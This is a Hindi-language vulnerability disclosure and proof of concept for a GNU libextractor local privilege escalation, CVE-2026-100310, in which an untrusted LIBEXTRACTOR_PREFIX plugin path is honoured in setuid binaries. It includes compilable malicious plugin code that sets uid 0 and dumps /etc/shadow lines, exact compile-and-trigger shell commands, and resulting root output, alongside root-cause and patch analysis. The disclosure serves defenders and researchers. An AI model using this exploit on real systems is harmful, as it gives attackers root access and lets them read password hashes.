
CVE-2026-100310 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, GNU libextractor ≤1.15 में LIBEXTRACTOR_PREFIX अविश्वसनीय सर्च पाथ के माध्यम से एक स्थानीय विशेषाधिकार वृद्धि, जिसमें एक्सप्लॉइट कोड और पैच विश्लेषण शामिल है।
GNU libextractor की प्लगइन लोडिंग प्रक्रिया यह निर्धारित करने के लिए LIBEXTRACTOR_PREFIX एनवायरनमेंट वेरिएबल का उपयोग करती है कि शेयर्ड लाइब्रेरीज़ (.so प्लगइन्स) कहाँ से लोड की जाएँ। चूँकि यह secure_getenv() के बजाय getenv() का उपयोग करता है, इसलिए जब कोई प्रोसेस उन्नत विशेषाधिकारों के साथ चलती है तो यह एनवायरनमेंट वेरिएबल हटाया नहीं जाता। एक हमलावर LIBEXTRACTOR_PREFIX को किसी दुर्भावनापूर्ण डायरेक्टरी पर सेट कर सकता है, जिससे कोई भी एप्लिकेशन जो libextractor प्लगइन्स लोड करता है, मनमाना कोड निष्पादित करने के लिए विवश हो जाता है।
प्राथमिक प्रभाव: root तक स्थानीय विशेषाधिकार वृद्धि (LPE)।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-100310 |
| उत्पाद | GNU libextractor |
| प्रभावित संस्करण | >= 0, < 1.16 |
| ठीक किया गया संस्करण | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| गंभीरता | HIGH |
| CWE | CWE-426 (Untrusted Search Path) |
| हमला वेक्टर | स्थानीय |
| आवश्यक विशेषाधिकार | निम्न |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| CNA | VulnCheck |
| शोधकर्ता | Haitam Lazaar |
नोट: इस भेद्यता के परिणामस्वरूप स्थानीय विशेषाधिकार वृद्धि होने के लिए, किसी एडमिनिस्ट्रेटर ने
libextractorसे लिंक होने वाली एक बाइनरी कोsetuidबिट के साथ कॉन्फ़िगर किया होगा। हालाँकिlibextractorस्वयंsetuidबाइनरी के साथ नहीं आता, कोई भी विशेषाधिकार प्राप्त प्रोसेस या सिस्टम डेमॉन जो इस लाइब्रेरी को गतिशील रूप से लिंक करता है और एनवायरनमेंट को मैन्युअल रूप से साफ़ करने में विफल रहता है, पूर्ण समझौते के प्रति असुरक्षित है।
setuid बाइनरी या विशेषाधिकार प्राप्त डेमॉन जो libextractor से लिंक करता है
ऊपर दिया गया एनिमेशन एक्सप्लॉइट को प्रदर्शित करता है। हमलावर एक दुर्भावनापूर्ण शेयर्ड लाइब्रेरी (evil_plugin.c) को कंपाइल करता है और उसे /tmp/evil_plugins में रखता है। libextractor का उपयोग करने वाली एक setuid बाइनरी को निष्पादित करके और कमांड को LIBEXTRACTOR_PREFIX=/tmp/evil_plugins के साथ प्रीफ़िक्स करके, डायनामिक लिंकर दुर्भावनापूर्ण प्लगइन को उन्नत विशेषाधिकारों के साथ लोड करता है। यह तुरंत root के रूप में मनमाने कमांड निष्पादित करता है, जिसे id के आउटपुट और प्रतिबंधित /etc/shadow फ़ाइल को /tmp/privesc_proof में लिखकर प्रदर्शित किया गया है।
यह भेद्यता मुख्य रूप से LIBEXTRACTOR_PREFIX एनवायरनमेंट वेरिएबल का शोषण करके ट्रिगर की जाती है।
(नोट: libextractor में /proc/PID/maps और लिखने योग्य PATH डायरेक्टरीज़ का उपयोग करने वाले द्वितीयक असुरक्षित फ़ॉलबैक भी हैं, लेकिन एनवायरनमेंट वेरिएबल इंजेक्शन सबसे प्रत्यक्ष और विश्वसनीय हमला वेक्टर है)।
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Ubuntu 24.04 पर libextractor 1.14 के साथ परीक्षण किया गया:
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
src/main/extractor_plugpath.c में, फ़ंक्शन get_installation_paths() मानक getenv() को कॉल करता है:
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
चूँकि यह secure_getenv() का उपयोग नहीं करता, डायनामिक लिंकर बाइनरी को उन्नत विशेषाधिकारों के साथ चलाए जाने पर इस वेरिएबल को हटाता नहीं है (LD_PRELOAD या LD_LIBRARY_PATH के विपरीत)। इसके बाद lt_dlopenadvise() हमलावर-नियंत्रित पथ से libextractor_<name>.so को बिना जाँच के लोड करता है।
मेंटेनर ने संस्करण 1.16 में getenv() को secure_getenv() से बदलकर इसे ठीक किया, जो प्रोसेस के उन्नत विशेषाधिकारों (euid != uid) के साथ चलने पर NULL लौटाता है।
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
मेरे (Haitam Lazaar) द्वारा अपने स्वतंत्र सुरक्षा शोध के दौरान खोजा गया।
GNU libextractor के मेंटेनर Christian Grothoff को उनकी अविश्वसनीय रूप से तेज़ ट्राइएज, पेशेवर संचार, और इस ऑडिट के दौरान रिपोर्ट किए गए इस तथा कई अन्य मेमोरी सुरक्षा मुद्दों को हल करने के लिए पैच (v1.15, v1.16, और v1.17) की त्वरित तैनाती के लिए विशेष धन्यवाद।
मेरा शोध शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है। जिम्मेदारी से उपयोग करें।